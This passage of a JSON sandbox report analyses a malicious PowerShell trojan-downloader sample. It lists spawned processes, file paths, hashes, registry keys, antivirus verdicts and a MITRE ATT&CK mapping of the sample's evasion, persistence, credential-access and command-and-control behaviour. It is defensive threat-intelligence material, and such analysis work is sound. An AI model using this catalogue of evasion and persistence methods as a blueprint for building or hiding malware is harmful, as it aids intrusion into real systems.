-y","name":"7z.exe","normalized_path":"%LOCALAPPDATA%\\Nfservice\\7z.exe","parent_uid":"00000000-00004744","pid":400,"ppid":4744,"sha256":"43907e54cf3d1258f695d1112759b5457576481072cc76a679b8477cfeb3db87","uid":"00000000-00000400"},{"command_line":"","name":"neservice.exe","normalized_path":"%LOCALAPPDATA%\\Nfservice\\neservice.exe","parent_uid":"00000000-00004744","pid":2888,"ppid":4744,"sha256":"56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422","uid":"00000000-00002888"},{"command_line":"\"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"","name":"7z.exe","normalized_path":"%LOCALAPPDATA%\\Nfservice\\7z.exe","parent_uid":"00000000-00004744","pid":6340,"ppid":4744,"sha256":"43907e54cf3d1258f695d1112759b5457576481072cc76a679b8477cfeb3db87","uid":"00000000-00006340"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"analysis_start_time":"2026-02-05T09:39:05+00:00","contacted_countries":["DEU"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"69846538b413ce6bc10063be","indicators_count":{"informative":311,"malicious":5,"suspicious":50},"is_in_unified_schema":true,"malware_family":"UDS_TrojanDownloader_PowerShell_Agent","state":"SUCCESS","submit_name":"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin","tags":["Multi-Process","Network Traffic","Extracted Files"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":3,"contacted_urls_count":5,"dns_resolutions_count":3,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":19,"files_deleted_count":0,"files_written_count":51,"http_requests_count":5,"imported_dlls_count":151,"injected_processes_count":0,"mutex_created_count":19,"process_count":4,"registry_keys_created_count":23,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":23,"script_calls_count":0,"spawned_processes_count":4}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"UDS_TrojanDownloader_PowerShell_Agent"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"aurora":{"data_source":"MetaDefender","name":"Aurora","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"UDS_TrojanDownloader_PowerShell_Agent","verdict":"malicious"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"gridinsoft":{"data_source":"MetaDefender","name":"Gridinsoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trellix":{"data_source":"MetaDefender","name":"Trellix","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"xcitium":{"data_source":"MetaDefender","name":"Xcitium","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"details_count":1,"name":"Network","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"details_count":3,"name":"Spyware","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"details":[{"detail":"Writes a file to the startup folder"}],"details_count":1,"name":"Persistence","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"detail":"Contains ability to adjust token privileges"}],"details_count":3,"name":"Evasive","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"details":[{"detail":"GETs/downloads executable files from web server"}],"details_count":1,"name":"Exploit","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Network Share Discovery"},{"attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Contains Wi-Fi native api calls"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Wi-Fi Discovery"},{"attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Screen Capture"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Modify Registry"},{"attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Credentials from Password Stores"},{"attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Management Instrumentation"},{"attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Account Manipulation"},{"attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","identifiers":[{"type":"suspicious","value":"Contains ability to adjust token privileges"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Make and Impersonate Token"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","identifiers":[{"type":"suspicious","value":"Drops compressed file on the system"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Compression"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about the current system"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Malicious File"},{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Queries kernel debugger information"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal from Tools"},{"attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets"},{"attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Discovery","technique":"Application Window Discovery"},{"attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Collection","technique":"Data Staged"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Initial Access","technique":"Phishing"},{"attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes a PowerShell script"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"PowerShell"},{"attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Component Object Model Hijacking"},{"attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Kernel Modules and Extensions"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"suspicious","value":"Contains ability to obtains specified information about the security of a file or directory"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Create Process with Token"},{"attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation"},{"attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Credential Access","technique":"OS Credential Dumping"},{"attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Inter-Process Communication"},{"attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Shared Modules"},{"attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Execution","technique":"Service Execution"},{"attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification"},{"attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hide Artifacts"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Resource Development","technique":"Domains"},{"attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"tactic":"Persistence","technique":"Create or Modify System Process"},{"attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution (Powershell command 